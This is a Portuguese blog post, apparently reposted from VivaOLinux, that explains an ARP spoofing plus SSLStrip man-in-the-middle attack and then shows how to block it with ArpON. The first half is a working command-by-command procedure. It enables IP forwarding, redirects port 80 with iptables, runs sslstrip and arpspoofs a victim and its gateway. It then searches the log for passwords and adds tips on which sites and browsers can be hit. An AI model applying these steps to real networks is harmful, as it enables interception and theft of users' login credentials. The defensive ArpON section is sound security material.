quinta-feira, 7 de março de 2013

Entendendo o ataque ARP spoofing + SSLStrip


Introdução

Veremos um pouco sobre o SSLStrip, descobriremos que o uso da conexão segura SSL não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros.

O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:
Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de sniffing tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas man-in-the-middle, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro.

Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2 para usar o SSLStrip e um Windows como alvo.

* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade.

Procedimentos

Primeiramente habilitaremos o encaminhamento de pacotes para realizar o ARP spoofing:

# echo "1" > /proc/sys/net/ipv4/ip_forward

Agora, vá até o diretório do SSLStrip no BackTrack:

# cd /pentest/web/sslstrip

Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080:

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo:

# python sslstrp.py -a -l 8080

Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway:

# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1

Em outro terminal:

# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55

Você pode acompanhar o tráfego dando:

# tail -f sslstrip.log

Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo.

Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros.

Como se proteger

O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como Man-in-the-middleDHCP SpoofingDNS SpoofingWeb Spoofing,Sequestro de sessão SSL, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela.

Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:
                 
     FIREWALL  / GATEWAY
                    |
                  SWITCH
                    |
        ---------------------------
        |           |             |
       HOST        HOST          HOST

Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor GNU/Linux que compartilha a Internet para a rede interna que será instalado o ArpON, e nele, iremos colocar todos os IPs e MACs dos nossos clientes.

Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho.

Bem, vamos colocar a mão na massa. Para instalar o ArpON:

# aptitude install arpon

Agora, edite o arquivo de configuração do ArpON:

# pico /etc/default/arpon

Descomente a linha:

DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -i eth1 -s"

Obs.: Repare que existe um parâmetro nessa linha (-i eth1) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é eth1, caso a de vocês seja eth0, não é necessário colocar este parâmetro.

E mude a linha:
RUN="no"

Para:

RUN="yes"

Agora precisamos cadastrar os IPs e MACs dos clientes:

# pico /etc/arpon.sarpi

Edite o arquivo da seguinte forma:

#IP              MAC
192.168.0.5          f5:f5:f5:f5:f5:f5

Obs.: Faça a identação com tabulações.

Agora é só iniciar o ArpON:

# /etc/init.d/arpon start

E acompanhar os logs:

# tail -f /var/log/arpon/arpon.log 



Fonte: VIVAOLINUX

Nenhum comentário:

Postar um comentário